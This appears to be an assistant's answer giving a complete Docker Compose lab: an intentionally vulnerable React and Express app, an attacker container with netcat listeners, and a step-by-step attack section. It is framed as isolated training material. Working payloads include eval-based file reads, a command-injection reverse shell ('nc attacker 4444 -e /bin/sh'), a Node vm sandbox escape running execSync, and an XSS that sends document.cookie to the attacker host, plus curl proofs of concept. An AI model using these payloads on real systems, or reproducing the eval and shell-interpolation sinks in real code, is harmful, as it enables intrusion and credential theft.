Docker Compose Setup — Vulnerable React + Express RCE Lab

⚠️ Educational use only. Bind ports to 127.0.0.1 only. Run on an isolated Docker network with no internet egress. Never expose to a public network.

This packages the first demo (React frontend + Express backend with eval, exec, and vm sinks) into a two-container Compose stack, plus an optional attacker container for observing reverse shells and exfil.


1. Project Layout

react-rce-lab/
├── docker-compose.yml
├── attacker/
│   └── Dockerfile
├── backend/
│   ├── Dockerfile
│   ├── package.json
│   └── server.js
└── frontend/
    ├── Dockerfile
    ├── package.json
    ├── vite.config.js
    ├── index.html
    └── src/
        ├── main.jsx
        ├── App.jsx
        └── App.css

I’m using Vite + React for the frontend (simplest way to serve a React SPA in a container with a dev server) and plain Express for the backend.


2. docker-compose.yml

services:
  backend:
    build: ./backend
    container_name: rce-backend
    # Bind to host loopback only
    ports:
      - "127.0.0.1:4000:4000"
    environment:
      - NODE_ENV=development
      - PORT=4000
    networks:
      - lab-internal
      - lab-bridge
    restart: "no"

  frontend:
    build: ./frontend
    container_name: rce-frontend
    ports:
      - "127.0.0.1:5173:5173"
    environment:
      # Browsers hit this URL directly, so use the host-side mapping
      - VITE_API_URL=http://127.0.0.1:4000
      - CHOKIDAR_USEPOLLING=true
    depends_on:
      - backend
    networks:
      - lab-internal
      - lab-bridge
    restart: "no"

  attacker:
    build: ./attacker
    container_name: rce-attacker
    ports:
      # Loopback only, so you can attach to the listener from the host too
      - "127.0.0.1:4444:4444"
    networks:
      - lab-internal
    tty: true
    stdin_open: true
    restart: "no"

networks:
  # internal: true → no internet egress from any container on this net
  lab-internal:
    internal: true
  # Bridge only exists so the host browser can reach the exposed ports
  lab-bridge:
    driver: bridge

Design notes:

  • lab-internal is internal: true, so even if an attacker pops a shell, they cannot call out to the internet — everything is contained.
  • The attacker container is only on lab-internal, so the victim can resolve it by DNS name (attacker).
  • Every published port is bound to 127.0.0.1 on the host, never 0.0.0.0.

3. Backend

3.1 backend/package.json

{
  "name": "rce-backend",
  "version": "1.0.0",
  "private": true,
  "main": "server.js",
  "scripts": {
    "start": "node server.js"
  },
  "dependencies": {
    "cors": "^2.8.5",
    "express": "^4.19.2"
  }
}

3.2 backend/server.js — intentionally vulnerable

// server.js - INTENTIONALLY VULNERABLE - LAB USE ONLY
const express = require('express');
const cors = require('cors');
const { exec } = require('child_process');
const vm = require('vm');

const app = express();
app.use(cors());
app.use(express.json({ limit: '1mb' }));

// Health check
app.get('/health', (_req, res) => res.json({ ok: true }));

// ❌ VULN #1: eval() of user input → arbitrary JS in the Node process
app.post('/api/calculate', (req, res) => {
  const { expression } = req.body ?? {};
  if (typeof expression !== 'string') {
    return res.status(400).json({ error: 'expression required' });
  }
  try {
    // eslint-disable-next-line no-eval
    const result = eval(expression);
    res.json({ result: String(result) });
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

// ❌ VULN #2: shell interpolation → command injection
app.post('/api/ping', (req, res) => {
  const { host } = req.body ?? {};
  if (typeof host !== 'string') {
    return res.status(400).json({ error: 'host required' });
  }
  // Attacker: "127.0.0.1; cat /etc/passwd"
  exec(`ping -c 1 -W 2 ${host}`, { timeout: 5000 }, (err, stdout, stderr) => {
    if (err && !stdout) {
      return res.status(500).json({ error: err.message, stderr });
    }
    res.json({ output: stdout || stderr });
  });
});

// ❌ VULN #3: vm.runInNewContext sandbox escape
app.post('/api/template', (req, res) => {
  const { template } = req.body ?? {};
  if (typeof template !== 'string') {
    return res.status(400).json({ error: 'template required' });
  }
  try {
    const script = new vm.Script(`(ctx) => \`${template}\``);
    const fn = script.runInNewContext({});
    res.json({ rendered: fn({}) });
  } catch (err) {
    res.status(500).json({ error: err.message });
  }
});

const PORT = process.env.PORT || 4000;
app.listen(PORT, '0.0.0.0', () => {
  console.log(`[vuln-backend] listening on :${PORT}`);
});

3.3 backend/Dockerfile

FROM node:20-alpine
WORKDIR /app
# Tools we want available so the exploits have something to run
RUN apk add --no-cache iputils curl bash
COPY package.json ./
RUN npm install --omit=dev
COPY server.js ./
EXPOSE 4000
CMD ["node", "server.js"]

4. Frontend

4.1 frontend/package.json

{
  "name": "rce-frontend",
  "version": "1.0.0",
  "private": true,
  "type": "module",
  "scripts": {
    "dev": "vite --host 0.0.0.0 --port 5173",
    "build": "vite build",
    "preview": "vite preview --host 0.0.0.0 --port 5173"
  },
  "dependencies": {
    "react": "^18.3.1",
    "react-dom": "^18.3.1"
  },
  "devDependencies": {
    "@vitejs/plugin-react": "^4.3.1",
    "vite": "^5.3.3"
  }
}

4.2 frontend/vite.config.js

import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';

export default defineConfig({
  plugins: [react()],
  server: {
    host: '0.0.0.0',
    port: 5173,
    // Allow the container hostname when served behind the host
    allowedHosts: true,
  },
});

4.3 frontend/index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Vulnerable React + Express RCE Lab</title>
  </head>
  <body>
    <div id="root"></div>
    <script type="module" src="/src/main.jsx"></script>
  </body>
</html>

4.4 frontend/src/main.jsx

import React from 'react';
import ReactDOM from 'react-dom/client';
import App from './App.jsx';
import './App.css';

ReactDOM.createRoot(document.getElementById('root')).render(
  <React.StrictMode>
    <App />
  </React.StrictMode>
);

4.5 frontend/src/App.jsx

import React, { useState } from 'react';

const API = import.meta.env.VITE_API_URL || 'http://127.0.0.1:4000';

async function post(path, body) {
  const r = await fetch(`${API}${path}`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(body),
  });
  return r.json();
}

function CalculatorPanel() {
  const [expr, setExpr] = useState(
    "process.mainModule.require('child_process').execSync('id').toString()"
  );
  const [result, setResult] = useState('');

  const run = async () => setResult(JSON.stringify(await post('/api/calculate', { expression: expr }), null, 2));

  return (
    <section className="panel">
      <h2>🧮 Expression Evaluator (eval RCE)</h2>
      <input value={expr} onChange={(e) => setExpr(e.target.value)} size={80} />
      <button onClick={run}>Evaluate</button>
      <pre>{result}</pre>
    </section>
  );
}

function PingPanel() {
  const [host, setHost] = useState('127.0.0.1; cat /etc/passwd');
  const [out, setOut] = useState('');

  const ping = async () => {
    const r = await post('/api/ping', { host });
    setOut(r.output || r.error || r.stderr || '');
  };

  return (
    <section className="panel">
      <h2>📡 Network Ping (command injection)</h2>
      <input value={host} onChange={(e) => setHost(e.target.value)} size={80} />
      <button onClick={ping}>Ping</button>
      <pre>{out}</pre>
    </section>
  );
}

function TemplatePanel() {
  const [tpl, setTpl] = useState(
    "${this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}"
  );
  const [rendered, setRendered] = useState('');

  const render = async () => {
    const r = await post('/api/template', { template: tpl });
    setRendered(r.rendered || r.error || '');
  };

  return (
    <section className="panel">
      <h2>📝 Template Renderer (vm escape → XSS sink)</h2>
      <input value={tpl} onChange={(e) => setTpl(e.target.value)} size={80} />
      <button onClick={render}>Render</button>
      {/* ❌ XSS sink: unsanitized HTML from the server */}
      <div dangerouslySetInnerHTML={{ __html: rendered }} />
      <pre>{rendered}</pre>
    </section>
  );
}

export default function App() {
  return (
    <div className="app">
      <h1>Vulnerable React + Express RCE Lab</h1>
      <p className="warn">⚠️ Training environment — never expose beyond 127.0.0.1</p>
      <CalculatorPanel />
      <PingPanel />
      <TemplatePanel />
      <footer>
        Attacker listener: <code>docker exec -it rce-attacker nc -lvnp 4444</code>
      </footer>
    </div>
  );
}

4.6 frontend/src/App.css

.app { font-family: system-ui, sans-serif; max-width: 900px; margin: 2rem auto; padding: 0 1rem; }
.panel { border: 1px solid #ccc; border-radius: 8px; padding: 1rem; margin: 1rem 0; }
.warn { color: #b00; font-weight: bold; }
input { padding: 0.4rem; margin-right: 0.5rem; width: 70%; }
button { padding: 0.4rem 0.9rem; }
pre { background: #111; color: #0f0; padding: 0.75rem; overflow-x: auto; white-space: pre-wrap; word-break: break-all; }
footer { margin-top: 2rem; color: #666; font-size: 0.9rem; }
code { background: #eee; padding: 0.1rem 0.3rem; border-radius: 4px; }

4.7 frontend/Dockerfile

FROM node:20-alpine
WORKDIR /app
COPY package.json ./
RUN npm install
COPY . .
EXPOSE 5173
CMD ["npm", "run", "dev"]

5. Attacker Container

attacker/Dockerfile:

FROM alpine:3.19
RUN apk add --no-cache netcat-openbsd bash curl python3
CMD ["sh", "-c", "echo 'attacker ready'; nc -lvnp 4444"]

Run extra listeners ad-hoc inside it, e.g. a second shell on another port:

docker exec -it rce-attacker sh -c 'nc -lvnp 4445'

6. Build & Run

cd react-rce-lab
docker compose build
docker compose up -d
docker compose ps
docker compose logs -f backend

Open http://127.0.0.1:5173 in your browser.

Start the attacker listener:

docker exec -it rce-attacker nc -lvnp 4444

7. Attack Demonstrations

A. eval RCE — read arbitrary files

Expression Evaluator:

process.mainModule.require('fs').readFileSync('/etc/passwd','utf8')

B. Reverse shell from the backend container

Ping panel:

127.0.0.1; nc attacker 4444 -e /bin/sh

You’ll get a shell in the attacker terminal as the node user inside rce-backend. Confirm with:

hostname        # rce-backend
id
ls /app

C. vm sandbox escape

Template panel (default value is already this payload):

${this.constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}

D. XSS via dangerouslySetInnerHTML

Template value:

<img src=x onerror="fetch('http://attacker:4444/?c='+document.cookie)">

The attacker container won’t respond on 4444 over HTTP while nc is listening, but you can swap in:

docker exec -it rce-attacker sh -c 'python3 -m http.server 8080'

and point the XSS at http://attacker:8080/?c=... to see the beacon.

E. curl-only PoC (no browser)

curl -s http://127.0.0.1:4000/api/ping \
  -H 'content-type: application/json' \
  -d '{"host":"127.0.0.1; id; uname -a"}' | jq

curl -s http://127.0.0.1:4000/api/calculate \
  -H 'content-type: application/json' \
  -d '{"expression":"process.version"}' | jq

8. Useful Debug Commands

# Backend container shell (when you have a shell there via RCE, you can
# also just exec in for convenience):
docker exec -it rce-backend sh

# Tail logs
docker compose logs -f backend

# Confirm no internet egress from the internal net:
docker exec -it rce-backend sh -c 'curl -m 3 https://example.com || echo BLOCKED'

# Confirm containers can resolve each other on lab-internal:
docker exec -it rce-backend sh -c 'getent hosts attacker'

The BLOCKED line proves the internal: true network did its job. The getent line proves the RCE’d container can still reach the attacker container by name — which is exactly the exfil path you’re demonstrating.


9. Tear Down

docker compose down -v --rmi local
docker network prune -f

10. Notes on the Deliberate Weaknesses

Layer Weakness Where
Backend eval() on request body server.js /api/calculate
Backend exec() with template literal server.js /api/ping
Backend vm.runInNewContext with interpolated template server.js /api/template
Frontend dangerouslySetInnerHTML on server response App.jsx TemplatePanel
Network Internal-only egress but unrestricted intra-network comms docker-compose.yml lab-internal
Container Runs as root (node image default user unless overridden) backend/Dockerfile
CORS cors() with no origin restriction server.js

For a hardened side-by-side version — same UI, but with mathjs for expressions, execFile + host regex for ping, DOMPurify on the client, and --cap-drop=ALL --read-only --user 1000:1000 --security-opt=no-new-privileges on the containers — say the word and I’ll add a second docker-compose.hardened.yml so you can run before/after in a workshop.